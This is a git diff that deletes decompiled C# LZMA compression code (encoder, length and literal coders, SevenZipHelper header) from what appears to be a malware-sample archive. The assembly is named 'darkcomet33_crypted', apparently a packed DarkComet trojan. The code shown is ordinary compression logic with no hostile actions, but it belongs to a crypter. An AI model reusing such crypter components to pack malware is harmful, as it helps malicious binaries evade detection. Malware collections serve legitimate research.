uint num11; - uint num12; - uint num13; - do - { - byte indexByte3; - byte indexByte4; - uint num14; - bool flag; - uint num15; - uint limit1; - do - { - ++cur; - if ((int) cur == (int) num5) - return this.Backward(out backRes, cur); - this.ReadMatchDistances(out lenRes2, out numDistancePairs); - if (lenRes2 >= this._numFastBytes) - { - this._numDistancePairs = numDistancePairs; - this._longestMatchLength = lenRes2; - this._longestMatchWasFound = true; - return this.Backward(out backRes, cur); - } - ++position; - uint index4 = this._optimum[(IntPtr) cur].PosPrev; - if (this._optimum[(IntPtr) cur].Prev1IsChar) - { - --index4; - if (this._optimum[(IntPtr) cur].Prev2) - { - state1 = this._optimum[(IntPtr) this._optimum[(IntPtr) cur].PosPrev2].State; - if (this._optimum[(IntPtr) cur].BackPrev2 < 4U) - state1.UpdateRep(); - else - state1.UpdateMatch(); - } - else - state1 = this._optimum[(IntPtr) index4].State; - state1.UpdateChar(); - } - else - state1 = this._optimum[(IntPtr) index4].State; - if ((int) index4 == (int) cur - 1) - { - if (this._optimum[(IntPtr) cur].IsShortRep()) - state1.UpdateShortRep(); - else - state1.UpdateChar(); - } - else - { - uint num16; - if (this._optimum[(IntPtr) cur].Prev1IsChar && this._optimum[(IntPtr) cur].Prev2) - { - index4 = this._optimum[(IntPtr) cur].PosPrev2; - num16 = this._optimum[(IntPtr) cur].BackPrev2; - state1.UpdateRep(); - } - else - { - num16 = this._optimum[(IntPtr) cur].BackPrev; - if (num16 < 4U) - state1.UpdateRep(); - else - state1.UpdateMatch(); - } - Encoder.Optimal optimal4 = this._optimum[(IntPtr) index4]; - if (num16 < 4U) - { - switch (num16) - { - case 0: - this.reps[0] = optimal4.Backs0; - this.reps[1] = optimal4.Backs1; - this.reps[2] = optimal4.Backs2; - this.reps[3] = optimal4.Backs3; - break; - case 1: - this.reps[0] = optimal4.Backs1; - this.reps[1] = optimal4.Backs0; - this.reps[2] = optimal4.Backs2; - this.reps[3] = optimal4.Backs3; - break; - case 2: - this.reps[0] = optimal4.Backs2; - this.reps[1] = optimal4.Backs0; - this.reps[2] = optimal4.Backs1; - this.reps[3] = optimal4.Backs3; - break; - default: - this.reps[0] = optimal4.Backs3; - this.reps[1] = optimal4.Backs0; - this.reps[2] = optimal4.Backs1; - this.reps[3] = optimal4.Backs2; - break; - } - } - else - { - this.reps[0] = num16 - 4U; - this.reps[1] = optimal4.Backs0; - this.reps[2] = optimal4.Backs1; - this.reps[3] = optimal4.Backs2; - } - } - this._optimum[(IntPtr) cur].State = state1; - this._optimum[(IntPtr) cur].Backs0 = this.reps[0]; - this._optimum[(IntPtr) cur].Backs1 = this.reps[1]; - this._optimum[(IntPtr) cur].Backs2 = this.reps[2]; - this._optimum[(IntPtr) cur].Backs3 = this.reps[3]; - uint price2 = this._optimum[(IntPtr) cur].Price; - indexByte3 = this._matchFinder.GetIndexByte(-1); - indexByte4 = this._matchFinder.GetIndexByte(-(int) this.reps[0] - 1 - 1); - posState2 = position & this._posStateMask; - int num17 = (int) price2 + (int) this._isMatch[(IntPtr) ((state1.Index << 4) + posState2)].GetPrice0(); - subCoder = this._literalEncoder.GetSubCoder(position, this._matchFinder.GetIndexByte(-2)); - int price3 = (int) subCoder.GetPrice(!state1.IsCharState(), indexByte4, indexByte3); - num14 = (uint) (num17 + price3); - Encoder.Optimal optimal5 = this._optimum[(IntPtr) (cur + 1U)]; - flag = false; - if (num14 < optimal5.Price) - { - optimal5.Price = num14; - optimal5.PosPrev = cur; - optimal5.MakeAsChar(); - flag = true; - } - num11 = price2 + this._isMatch[(IntPtr) ((state1.Index << 4) + posState2)].GetPrice1(); - num15 = num11 + this._isRep[(IntPtr) state1.Index].GetPrice1(); - if ((int) indexByte4 == (int) indexByte3 && (optimal5.PosPrev >= cur || optimal5.BackPrev != 0U)) - { - uint num18 = num15 + this.GetRepLen1Price(state1, posState2); - if (num18 <= optimal5.Price) - { - optimal5.Price = num18; - optimal5.PosPrev = cur; - optimal5.MakeAsShortRep(); - flag = true; - } - } - uint val2 = this._matchFinder.GetNumAvailableBytes() + 1U; - num12 = Math.Min(4095U - cur, val2); - limit1 = num12; - } - while (limit1 < 2U); - if (limit1 > this._numFastBytes) - limit1 = this._numFastBytes; - if (!flag && (int) indexByte4 != (int) indexByte3) - { - uint matchLen = this._matchFinder.GetMatchLen(0, this.reps[0], Math.Min(num12 - 1U, this._numFastBytes)); - if (matchLen >= 2U) - { - Base.State state2 = state1; - state2.UpdateChar(); - uint posState3 = position + 1U & this._posStateMask; - uint num19 = num14 + this._isMatch[(IntPtr) ((state2.Index << 4) + posState3)].GetPrice1() + this._isRep[(IntPtr) state2.Index].GetPrice1(); - uint index5 = cur + 1U + matchLen; - while (num5 < index5) - this._optimum[(IntPtr) ++num5].Price = 268435455U; - uint num20 = num19 + this.GetRepPrice(0U, matchLen, state2, posState3); - Encoder.Optimal optimal6 = this._optimum[(IntPtr) index5]; - if (num20 < optimal6.Price) - { - optimal6.Price = num20; - optimal6.PosPrev = cur + 1U; - optimal6.BackPrev = 0U; - optimal6.Prev1IsChar = true; - optimal6.Prev2 = false; - } - } - } - num13 = 2U; - for (uint repIndex = 0; repIndex < 4U; ++repIndex) - { - uint matchLen1 = this._matchFinder.GetMatchLen(-1, this.reps[(IntPtr) repIndex], limit1); - if (matchLen1 >= 2U) - { - uint num21 = matchLen1; - do - { - while (num5 < cur + matchLen1) - this._optimum[(IntPtr) ++num5].Price = 268435455U; - uint num22 = num15 + this.GetRepPrice(repIndex, matchLen1, state1, posState2); - Encoder.Optimal optimal7 = this._optimum[(IntPtr) (cur + matchLen1)]; - if (num22 < optimal7.Price) - { - optimal7.Price = num22; - optimal7.PosPrev = cur; - optimal7.BackPrev = repIndex; - optimal7.Prev1IsChar = false; - } - } - while (--matchLen1 >= 2U); - uint num23 = num21; - if (repIndex == 0U) - num13 = num23 + 1U; - if (num23 < num12) - { - uint limit2 = Math.Min(num12 - 1U - num23, this._numFastBytes); - uint matchLen2 = this._matchFinder.GetMatchLen((int) num23, this.reps[(IntPtr) repIndex], limit2); - if (matchLen2 >= 2U) - { - Base.State state3 = state1; - state3.UpdateRep(); - uint num24 = position + num23 & this._posStateMask; - int num25 = (int) num15 + (int) this.GetRepPrice(repIndex, num23, state1, posState2) + (int) this._isMatch[(IntPtr) ((state3.Index << 4) + num24)].GetPrice0(); - subCoder = this._literalEncoder.GetSubCoder(position + num23, this._matchFinder.GetIndexByte((int) num23 - 1 - 1)); - int price4 = (int) subCoder.GetPrice(true, this._matchFinder.GetIndexByte((int) num23 - 1 - ((int) this.reps[(IntPtr) repIndex] + 1)), this._matchFinder.GetIndexByte((int) num23 - 1)); - uint num26 = (uint) (num25 + price4); - state3.UpdateChar(); - uint posState4 = (uint) ((int) position + (int) num23 + 1) & this._posStateMask; - uint num27 = num26 + this._isMatch[(IntPtr) ((state3.Index << 4) + posState4)].GetPrice1() + this._isRep[(IntPtr) state3.Index].GetPrice1(); - uint num28 = num23 + 1U + matchLen2; - while (num5 < cur + num28) - this._optimum[(IntPtr) ++num5].Price = 268435455U; - uint num29 = num27 + this.GetRepPrice(0U, matchLen2, state3, posState4); - Encoder.Optimal optimal8 = this._optimum[(IntPtr) (cur + num28)]; - if (num29 < optimal8.Price) - { - optimal8.Price = num29; - optimal8.PosPrev = (uint) ((int) cur + (int) num23 + 1); - optimal8.BackPrev = 0U; - optimal8.Prev1IsChar = true; - optimal8.Prev2 = true; - optimal8.PosPrev2 = cur; - optimal8.BackPrev2 = repIndex; - } - } - } - } - } - if (lenRes2 > limit1) - { - lenRes2 = limit1; - uint index6 = 0; - while (lenRes2 > this._matchDistances[(IntPtr) index6]) - index6 += 2U; - this._matchDistances[(IntPtr) index6] = lenRes2; - numDistancePairs = index6 + 2U; - } - } - while (lenRes2 < num13); - uint num30 = num11 + this._isRep[(IntPtr) state1.Index].GetPrice0(); - while (num5 < cur + lenRes2) - this._optimum[(IntPtr) ++num5].Price = 268435455U; - uint index7 = 0; - while (num13 > this._matchDistances[(IntPtr) index7]) - index7 += 2U; - uint num31 = num13; - while (true) - { - uint matchDistance = this._matchDistances[(IntPtr) (index7 + 1U)]; - uint num32 = num30 + this.GetPosLenPrice(matchDistance, num31, posState2); - Encoder.Optimal optimal9 = this._optimum[(IntPtr) (cur + num31)]; - if (num32 < optimal9.Price) - { - optimal9.Price = num32; - optimal9.PosPrev = cur; - optimal9.BackPrev = matchDistance + 4U; - optimal9.Prev1IsChar = false; - } - if ((int) num31 == (int) this._matchDistances[(IntPtr) index7]) - { - if (num31 < num12) - { - uint limit = Math.Min(num12 - 1U - num31, this._numFastBytes); - uint matchLen = this._matchFinder.GetMatchLen((int) num31, matchDistance, limit); - if (matchLen >= 2U) - { - Base.State state4 = state1; - state4.UpdateMatch(); - uint num33 = position + num31 & this._posStateMask; - int num34 = (int) num32 + (int) this._isMatch[(IntPtr) ((state4.Index << 4) + num33)].GetPrice0(); - subCoder = this._literalEncoder.GetSubCoder(position + num31, this._matchFinder.GetIndexByte((int) num31 - 1 - 1)); - int price5 = (int) subCoder.GetPrice(true, this._matchFinder.GetIndexByte((int) num31 - ((int) matchDistance + 1) - 1), this._matchFinder.GetIndexByte((int) num31 - 1)); - uint num35 = (uint) (num34 + price5); - state4.UpdateChar(); - uint posState5 = (uint) ((int) position + (int) num31 + 1) & this._posStateMask; - uint num36 = num35 + this._isMatch[(IntPtr) ((state4.Index << 4) + posState5)].GetPrice1() + this._isRep[(IntPtr) state4.Index].GetPrice1(); - uint num37 = num31 + 1U + matchLen; - while (num5 < cur + num37) - this._optimum[(IntPtr) ++num5].Price = 268435455U; - uint num38 = num36 + this.GetRepPrice(0U, matchLen, state4, posState5); - Encoder.Optimal optimal10 = this._optimum[(IntPtr) (cur + num37)]; - if (num38 < optimal10.Price) - { - optimal10.Price = num38; - optimal10.PosPrev = (uint) ((int) cur + (int) num31 + 1); - optimal10.BackPrev = 0U; - optimal10.Prev1IsChar = true; - optimal10.Prev2 = true; - optimal10.PosPrev2 = cur; - optimal10.BackPrev2 = matchDistance + 4U; - } - } - } - index7 += 2U; - if ((int) index7 == (int) numDistancePairs) - goto label_45; - } - ++num31; - } - } - - private bool ChangePair(uint smallDist, uint bigDist) => smallDist < 33554432U && bigDist >= smallDist << 7; - - private void WriteEndMarker(uint posState) - { - if (!this._writeEndMark) - return; - this._isMatch[(IntPtr) ((this._state.Index << 4) + posState)].Encode(this._rangeEncoder, 1U); - this._isRep[(IntPtr) this._state.Index].Encode(this._rangeEncoder, 0U); - this._state.UpdateMatch(); - uint len = 2; - this._lenEncoder.Encode(this._rangeEncoder, len - 2U, posState); - uint symbol = 63; - this._posSlotEncoder[(IntPtr) Base.GetLenToPosState(len)].Encode(this._rangeEncoder, symbol); - int num1 = 30; - uint num2 = (uint) ((1 << num1) - 1); - this._rangeEncoder.EncodeDirectBits(num2 >> 4, num1 - 4); - this._posAlignEncoder.ReverseEncode(this._rangeEncoder, num2 & 15U); - } - - private void Flush(uint nowPos) - { - this.ReleaseMFStream(); - this.WriteEndMarker(nowPos & this._posStateMask); - this._rangeEncoder.FlushData(); - this._rangeEncoder.FlushStream(); - } - - public void CodeOneBlock(out long inSize, out long outSize, out bool finished) - { - inSize = 0L; - outSize = 0L; - finished = true; - if (this._inStream != null) - { - this._matchFinder.SetStream(this._inStream); - this._matchFinder.Init(); - this._needReleaseMFStream = true; - this._inStream = (Stream) null; - if (this._trainSize > 0U) - this._matchFinder.Skip(this._trainSize); - } - if (this._finished) - return; - this._finished = true; - long nowPos64 = this.nowPos64; - if (this.nowPos64 == 0L) - { - if (this._matchFinder.GetNumAvailableBytes() == 0U) - { - this.Flush((uint) this.nowPos64); - return; - } - this.ReadMatchDistances(out uint _, out uint _); - this._isMatch[(IntPtr) ((this._state.Index << 4) + ((uint) this.nowPos64 & this._posStateMask))].Encode(this._rangeEncoder, 0U); - this._state.UpdateChar(); - byte indexByte = this._matchFinder.GetIndexByte(-(int) this._additionalOffset); - this._literalEncoder.GetSubCoder((uint) this.nowPos64, this._previousByte).Encode(this._rangeEncoder, indexByte); - this._previousByte = indexByte; - --this._additionalOffset; - ++this.nowPos64; - } - if (this._matchFinder.GetNumAvailableBytes() == 0U) - { - this.Flush((uint) this.nowPos64); - } - else - { - do - { - do - { - uint backRes; - uint optimum = this.GetOptimum((uint) this.nowPos64, out backRes); - uint posState = (uint) this.nowPos64 & this._posStateMask; - uint index1 = (this._state.Index << 4) + posState; - if (optimum == 1U && backRes == uint.MaxValue) - { - this._isMatch[(IntPtr) index1].Encode(this._rangeEncoder, 0U); - byte indexByte1 = this._matchFinder.GetIndexByte(-(int) this._additionalOffset); - Encoder.LiteralEncoder.Encoder2 subCoder = this._literalEncoder.GetSubCoder((uint) this.nowPos64, this._previousByte); - if (!this._state.IsCharState()) - { - byte indexByte2 = this._matchFinder.GetIndexByte(-(int) this._repDistances[0] - 1 - (int) this._additionalOffset); - subCoder.EncodeMatched(this._rangeEncoder, indexByte2, indexByte1); - } - else - subCoder.Encode(this._rangeEncoder, indexByte1); - this._previousByte = indexByte1; - this._state.UpdateChar(); - } - else - { - this._isMatch[(IntPtr) index1].Encode(this._rangeEncoder, 1U); - if (backRes < 4U) - { - this._isRep[(IntPtr) this._state.Index].Encode(this._rangeEncoder, 1U); - if (backRes == 0U) - { - this._isRepG0[(IntPtr) this._state.Index].Encode(this._rangeEncoder, 0U); - if (optimum == 1U) - this._isRep0Long[(IntPtr) index1].Encode(this._rangeEncoder, 0U); - else - this._isRep0Long[(IntPtr) index1].Encode(this._rangeEncoder, 1U); - } - else - { - this._isRepG0[(IntPtr) this._state.Index].Encode(this._rangeEncoder, 1U); - if (backRes == 1U) - { - this._isRepG1[(IntPtr) this._state.Index].Encode(this._rangeEncoder, 0U); - } - else - { - this._isRepG1[(IntPtr) this._state.Index].Encode(this._rangeEncoder, 1U); - this._isRepG2[(IntPtr) this._state.Index].Encode(this._rangeEncoder, backRes - 2U); - } - } - if (optimum == 1U) - { - this._state.UpdateShortRep(); - } - else - { - this._repMatchLenEncoder.Encode(this._rangeEncoder, optimum - 2U, posState); - this._state.UpdateRep(); - } - uint repDistance = this._repDistances[(IntPtr) backRes]; - if (backRes != 0U) - { - for (uint index2 = backRes; index2 >= 1U; --index2) - this._repDistances[(IntPtr) index2] = this._repDistances[(IntPtr) (index2 - 1U)]; - this._repDistances[0] = repDistance; - } - } - else - { - this._isRep[(IntPtr) this._state.Index].Encode(this._rangeEncoder, 0U); - this._state.UpdateMatch(); - this._lenEncoder.Encode(this._rangeEncoder, optimum - 2U, posState); - backRes -= 4U; - uint posSlot = Encoder.GetPosSlot(backRes); - this._posSlotEncoder[(IntPtr) Base.GetLenToPosState(optimum)].Encode(this._rangeEncoder, posSlot); - if (posSlot >= 4U) - { - int NumBitLevels = (int) (posSlot >> 1) - 1; - uint num = (uint) ((2 | (int) posSlot & 1) << NumBitLevels); - uint symbol = backRes - num; - if (posSlot < 14U) - { - BitTreeEncoder.ReverseEncode(this._posEncoders, (uint) ((int) num - (int) posSlot - 1), this._rangeEncoder, NumBitLevels, symbol); - } - else - { - this._rangeEncoder.EncodeDirectBits(symbol >> 4, NumBitLevels - 4); - this._posAlignEncoder.ReverseEncode(this._rangeEncoder, symbol & 15U); - ++this._alignPriceCount; - } - } - uint num1 = backRes; - for (uint index3 = 3; index3 >= 1U; --index3) - this._repDistances[(IntPtr) index3] = this._repDistances[(IntPtr) (index3 - 1U)]; - this._repDistances[0] = num1; - ++this._matchPriceCount; - } - this._previousByte = this._matchFinder.GetIndexByte((int) optimum - 1 - (int) this._additionalOffset); - } - this._additionalOffset -= optimum; - this.nowPos64 += (long) optimum; - } - while (this._additionalOffset != 0U); - if (this._matchPriceCount >= 128U) - this.FillDistancesPrices(); - if (this._alignPriceCount >= 16U) - this.FillAlignPrices(); - inSize = this.nowPos64; - outSize = this._rangeEncoder.GetProcessedSizeAdd(); - if (this._matchFinder.GetNumAvailableBytes() == 0U) - { - this.Flush((uint) this.nowPos64); - return; - } - } - while (this.nowPos64 - nowPos64 < 4096L); - this._finished = false; - finished = false; - } - } - - private void ReleaseMFStream() - { - if (this._matchFinder == null || !this._needReleaseMFStream) - return; - this._matchFinder.ReleaseStream(); - this._needReleaseMFStream = false; - } - - private void SetOutStream(Stream outStream) => this._rangeEncoder.SetStream(outStream); - - private void ReleaseOutStream() => this._rangeEncoder.ReleaseStream(); - - private void ReleaseStreams() - { - this.ReleaseMFStream(); - this.ReleaseOutStream(); - } - - private void SetStreams(Stream inStream, Stream outStream, long inSize, long outSize) - { - this._inStream = inStream; - this._finished = false; - this.Create(); - this.SetOutStream(outStream); - this.Init(); - this.FillDistancesPrices(); - this.FillAlignPrices(); - this._lenEncoder.SetTableSize((uint) ((int) this._numFastBytes + 1 - 2)); - this._lenEncoder.UpdateTables((uint) (1 << this._posStateBits)); - this._repMatchLenEncoder.SetTableSize((uint) ((int) this._numFastBytes + 1 - 2)); - this._repMatchLenEncoder.UpdateTables((uint) (1 << this._posStateBits)); - this.nowPos64 = 0L; - } - - public void Code( - Stream inStream, - Stream outStream, - long inSize, - long outSize, - ICodeProgress progress) - { - this._needReleaseMFStream = false; - try - { - this.SetStreams(inStream, outStream, inSize, outSize); - while (true) - { - long inSize1; - long outSize1; - do - { - bool finished; - this.CodeOneBlock(out inSize1, out outSize1, out finished); - if (finished) - goto label_3; - } - while (progress == null); - progress.SetProgress(inSize1, outSize1); - } -label_3:; - } - finally - { - this.ReleaseStreams(); - } - } - - public void WriteCoderProperties(Stream outStream) - { - this.properties[0] = (byte) ((this._posStateBits * 5 + this._numLiteralPosStateBits) * 9 + this._numLiteralContextBits); - for (int index = 0; index < 4; ++index) - this.properties[1 + index] = (byte) (this._dictionarySize >> 8 * index & (uint) byte.MaxValue); - outStream.Write(this.properties, 0, 5); - } - - private void FillDistancesPrices() - { - for (uint pos = 4; pos < 128U; ++pos) - { - uint posSlot = Encoder.GetPosSlot(pos); - int NumBitLevels = (int) (posSlot >> 1) - 1; - uint num = (uint) ((2 | (int) posSlot & 1) << NumBitLevels); - this.tempPrices[(IntPtr) pos] = BitTreeEncoder.ReverseGetPrice(this._posEncoders, (uint) ((int) num - (int) posSlot - 1), NumBitLevels, pos - num); - } - for (uint index1 = 0; index1 < 4U; ++index1) - { - BitTreeEncoder bitTreeEncoder = this._posSlotEncoder[(IntPtr) index1]; - uint num1 = index1 << 6; - for (uint symbol = 0; symbol < this._distTableSize; ++symbol) - this._posSlotPrices[(IntPtr) (num1 + symbol)] = bitTreeEncoder.GetPrice(symbol); - for (uint index2 = 14; index2 < this._distTableSize; ++index2) - this._posSlotPrices[(IntPtr) (num1 + index2)] += (uint) ((int) (index2 >> 1) - 1 - 4 << 6); - uint num2 = index1 * 128U; - uint pos; - for (pos = 0U; pos < 4U; ++pos) - this._distancesPrices[(IntPtr) (num2 + pos)] = this._posSlotPrices[(IntPtr) (num1 + pos)]; - for (; pos < 128U; ++pos) - this._distancesPrices[(IntPtr) (num2 + pos)] = this._posSlotPrices[(IntPtr) (num1 + Encoder.GetPosSlot(pos))] + this.tempPrices[(IntPtr) pos]; - } - this._matchPriceCount = 0U; - } - - private void FillAlignPrices() - { - for (uint symbol = 0; symbol < 16U; ++symbol) - this._alignPrices[(IntPtr) symbol] = this._posAlignEncoder.ReverseGetPrice(symbol); - this._alignPriceCount = 0U; - } - - private static int FindMatchFinder(string s) - { - for (int matchFinder = 0; matchFinder < Encoder.kMatchFinderIDs.Length; ++matchFinder) - { - if (s == Encoder.kMatchFinderIDs[matchFinder]) - return matchFinder; - } - return -1; - } - - public void SetCoderProperties(CoderPropID[] propIDs, object[] properties) - { - for (uint index = 0; (long) index < (long) properties.Length; ++index) - { - object property = properties[(IntPtr) index]; - switch (propIDs[(IntPtr) index]) - { - case CoderPropID.DictionarySize: - if (!(property is int num1)) - throw new InvalidParamException(); - this._dictionarySize = num1 >= 1 && num1 <= 1073741824 ? (uint) num1 : throw new InvalidParamException(); - int num2 = 0; - while (num2 < 30 && (long) num1 > (long) (uint) (1 << num2)) - ++num2; - this._distTableSize = (uint) (num2 * 2); - continue; - case CoderPropID.PosStateBits: - if (!(property is int num3)) - throw new InvalidParamException(); - this._posStateBits = num3 >= 0 && num3 <= 4 ? num3 : throw new InvalidParamException(); - this._posStateMask = (uint) ((1 << this._posStateBits) - 1); - continue; - case CoderPropID.LitContextBits: - if (!(property is int num4)) - throw new InvalidParamException(); - this._numLiteralContextBits = num4 >= 0 && num4 <= 8 ? num4 : throw new InvalidParamException(); - continue; - case CoderPropID.LitPosBits: - if (!(property is int num5)) - throw new InvalidParamException(); - this._numLiteralPosStateBits = num5 >= 0 && num5 <= 4 ? num5 : throw new InvalidParamException(); - continue; - case CoderPropID.NumFastBytes: - if (!(property is int num6)) - throw new InvalidParamException(); - this._numFastBytes = num6 >= 5 && num6 <= 273 ? (uint) num6 : throw new InvalidParamException(); - continue; - case CoderPropID.MatchFinder: - if (!(property is string)) - throw new InvalidParamException(); - Encoder.EMatchFinderType matchFinderType = this._matchFinderType; - int matchFinder = Encoder.FindMatchFinder(((string) property).ToUpper()); - this._matchFinderType = matchFinder >= 0 ? (Encoder.EMatchFinderType) matchFinder : throw new InvalidParamException(); - if (this._matchFinder != null && matchFinderType != this._matchFinderType) - { - this._dictionarySizePrev = uint.MaxValue; - this._matchFinder = (IMatchFinder) null; - continue; - } - continue; - case CoderPropID.Algorithm: - continue; - case CoderPropID.EndMarker: - if (!(property is bool writeEndMarker)) - throw new InvalidParamException(); - this.SetWriteEndMarkerMode(writeEndMarker); - continue; - default: - throw new InvalidParamException(); - } - } - } - - public void SetTrainSize(uint trainSize) => this._trainSize = trainSize; - - private enum EMatchFinderType - { - BT2, - BT4, - } - - private class LiteralEncoder - { - private Encoder.LiteralEncoder.Encoder2[] m_Coders; - private int m_NumPrevBits; - private int m_NumPosBits; - private uint m_PosMask; - - public void Create(int numPosBits, int numPrevBits) - { - if (this.m_Coders != null && this.m_NumPrevBits == numPrevBits && this.m_NumPosBits == numPosBits) - return; - this.m_NumPosBits = numPosBits; - this.m_PosMask = (uint) ((1 << numPosBits) - 1); - this.m_NumPrevBits = numPrevBits; - uint length = (uint) (1 << this.m_NumPrevBits + this.m_NumPosBits); - this.m_Coders = new Encoder.LiteralEncoder.Encoder2[(IntPtr) length]; - for (uint index = 0; index < length; ++index) - this.m_Coders[(IntPtr) index].Create(); - } - - public void Init() - { - uint num = (uint) (1 << this.m_NumPrevBits + this.m_NumPosBits); - for (uint index = 0; index < num; ++index) - this.m_Coders[(IntPtr) index].Init(); - } - - public Encoder.LiteralEncoder.Encoder2 GetSubCoder(uint pos, byte prevByte) => this.m_Coders[(IntPtr) (uint) ((((int) pos & (int) this.m_PosMask) << this.m_NumPrevBits) + ((int) prevByte >> 8 - this.m_NumPrevBits))]; - - public struct Encoder2 - { - private BitEncoder[] m_Encoders; - - public void Create() => this.m_Encoders = new BitEncoder[768]; - - public void Init() - { - for (int index = 0; index < 768; ++index) - this.m_Encoders[index].Init(); - } - - public void Encode(SevenZip.Compression.RangeCoder.Encoder rangeEncoder, byte symbol) - { - uint index1 = 1; - for (int index2 = 7; index2 >= 0; --index2) - { - uint symbol1 = (uint) ((int) symbol >> index2 & 1); - this.m_Encoders[(IntPtr) index1].Encode(rangeEncoder, symbol1); - index1 = index1 << 1 | symbol1; - } - } - - public void EncodeMatched(SevenZip.Compression.RangeCoder.Encoder rangeEncoder, byte matchByte, byte symbol) - { - uint num1 = 1; - bool flag = true; - for (int index1 = 7; index1 >= 0; --index1) - { - uint symbol1 = (uint) ((int) symbol >> index1 & 1); - uint index2 = num1; - if (flag) - { - uint num2 = (uint) ((int) matchByte >> index1 & 1); - index2 += (uint) (1 + (int) num2 << 8); - flag = (int) num2 == (int) symbol1; - } - this.m_Encoders[(IntPtr) index2].Encode(rangeEncoder, symbol1); - num1 = num1 << 1 | symbol1; - } - } - - public uint GetPrice(bool matchMode, byte matchByte, byte symbol) - { - uint price = 0; - uint index = 1; - int num1 = 7; - if (matchMode) - { - for (; num1 >= 0; --num1) - { - uint num2 = (uint) ((int) matchByte >> num1 & 1); - uint symbol1 = (uint) ((int) symbol >> num1 & 1); - price += this.m_Encoders[(IntPtr) ((uint) (1 + (int) num2 << 8) + index)].GetPrice(symbol1); - index = index << 1 | symbol1; - if ((int) num2 != (int) symbol1) - { - --num1; - break; - } - } - } - for (; num1 >= 0; --num1) - { - uint symbol2 = (uint) ((int) symbol >> num1 & 1); - price += this.m_Encoders[(IntPtr) index].GetPrice(symbol2); - index = index << 1 | symbol2; - } - return price; - } - } - } - - private class LenEncoder - { - private BitEncoder _choice = new BitEncoder(); - private BitEncoder _choice2 = new BitEncoder(); - private BitTreeEncoder[] _lowCoder = new BitTreeEncoder[new IntPtr(16)]; - private BitTreeEncoder[] _midCoder = new BitTreeEncoder[new IntPtr(16)]; - private BitTreeEncoder _highCoder = new BitTreeEncoder(8); - - public LenEncoder() - { - for (uint index = 0; index < 16U; ++index) - { - this._lowCoder[(IntPtr) index] = new BitTreeEncoder(3); - this._midCoder[(IntPtr) index] = new BitTreeEncoder(3); - } - } - - public void Init(uint numPosStates) - { - this._choice.Init(); - this._choice2.Init(); - for (uint index = 0; index < numPosStates; ++index) - { - this._lowCoder[(IntPtr) index].Init(); - this._midCoder[(IntPtr) index].Init(); - } - this._highCoder.Init(); - } - - public void Encode(SevenZip.Compression.RangeCoder.Encoder rangeEncoder, uint symbol, uint posState) - { - if (symbol < 8U) - { - this._choice.Encode(rangeEncoder, 0U); - this._lowCoder[(IntPtr) posState].Encode(rangeEncoder, symbol); - } - else - { - symbol -= 8U; - this._choice.Encode(rangeEncoder, 1U); - if (symbol < 8U) - { - this._choice2.Encode(rangeEncoder, 0U); - this._midCoder[(IntPtr) posState].Encode(rangeEncoder, symbol); - } - else - { - this._choice2.Encode(rangeEncoder, 1U); - this._highCoder.Encode(rangeEncoder, symbol - 8U); - } - } - } - - public void SetPrices(uint posState, uint numSymbols, uint[] prices, uint st) - { - uint price0 = this._choice.GetPrice0(); - uint price1 = this._choice.GetPrice1(); - uint num1 = price1 + this._choice2.GetPrice0(); - uint num2 = price1 + this._choice2.GetPrice1(); - uint symbol; - for (symbol = 0U; symbol < 8U; ++symbol) - { - if (symbol >= numSymbols) - return; - prices[(IntPtr) (st + symbol)] = price0 + this._lowCoder[(IntPtr) posState].GetPrice(symbol); - } - for (; symbol < 16U; ++symbol) - { - if (symbol >= numSymbols) - return; - prices[(IntPtr) (st + symbol)] = num1 + this._midCoder[(IntPtr) posState].GetPrice(symbol - 8U); - } - for (; symbol < numSymbols; ++symbol) - prices[(IntPtr) (st + symbol)] = num2 + this._highCoder.GetPrice((uint) ((int) symbol - 8 - 8)); - } - } - - private class LenPriceTableEncoder : Encoder.LenEncoder - { - private uint[] _prices = new uint[new IntPtr(4352)]; - private uint _tableSize; - private uint[] _counters = new uint[new IntPtr(16)]; - - public void SetTableSize(uint tableSize) => this._tableSize = tableSize; - - public uint GetPrice(uint symbol, uint posState) => this._prices[(IntPtr) (posState * 272U + symbol)]; - - private void UpdateTable(uint posState) - { - this.SetPrices(posState, this._tableSize, this._prices, posState * 272U); - this._counters[(IntPtr) posState] = this._tableSize; - } - - public void UpdateTables(uint numPosStates) - { - for (uint posState = 0; posState < numPosStates; ++posState) - this.UpdateTable(posState); - } - - public new void Encode(SevenZip.Compression.RangeCoder.Encoder rangeEncoder, uint symbol, uint posState) - { - base.Encode(rangeEncoder, symbol, posState); - if (--this._counters[(IntPtr) posState] != 0U) - return; - this.UpdateTable(posState); - } - } - - private class Optimal - { - public Base.State State; - public bool Prev1IsChar; - public bool Prev2; - public uint PosPrev2; - public uint BackPrev2; - public uint Price; - public uint PosPrev; - public uint BackPrev; - public uint Backs0; - public uint Backs1; - public uint Backs2; - public uint Backs3; - - public void MakeAsChar() - { - this.BackPrev = uint.MaxValue; - this.Prev1IsChar = false; - } - - public void MakeAsShortRep() - { - this.BackPrev = 0U; - this.Prev1IsChar = false; - } - - public bool IsShortRep() => this.BackPrev == 0U; - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-14caa67931ea500d40ddc1649adf3e2119d3949fa6795d2f0542ba503a8f5add/Compression/LZMA/SevenZipHelper.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-14caa67931ea500d40ddc1649adf3e2119d3949fa6795d2f0542ba503a8f5add/Compression/LZMA/SevenZipHelper.cs deleted file mode 100644 index 69246e77..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-14caa67931ea500d40ddc1649adf3e2119d3949fa6795d2f0542ba503a8f5add/Compression/LZMA/SevenZipHelper.cs +++ /dev/null @@ -1,76 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Compression.LZMA.SevenZipHelper -// Assembly: darkcomet33_crypted, Version=1.5.1.7, Culture=neutral, PublicKeyToken=null -// MVID: C1E9CB25-4848-45EA-B17A-F8B67839C5BE -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hfo-14caa67931ea500d40ddc1649adf3e2119d3949fa6795d2f0542ba503a8f5add.exe - -using System; -using System.IO; - -namespace SevenZip.Compression.LZMA -{ - public static class SevenZipHelper - { - private static int dictionary = 8388608; - private static bool eos = false; - private static CoderPropID[] propIDs = new CoderPropID[8] - { - CoderPropID.DictionarySize, - CoderPropID.PosStateBits, - CoderPropID.LitContextBits, - CoderPropID.LitPosBits, - CoderPropID.Algorithm, - CoderPropID.NumFastBytes, - CoderPropID.MatchFinder, - CoderPropID.EndMarker - }; - private static object[] properties = new object[8] - { - 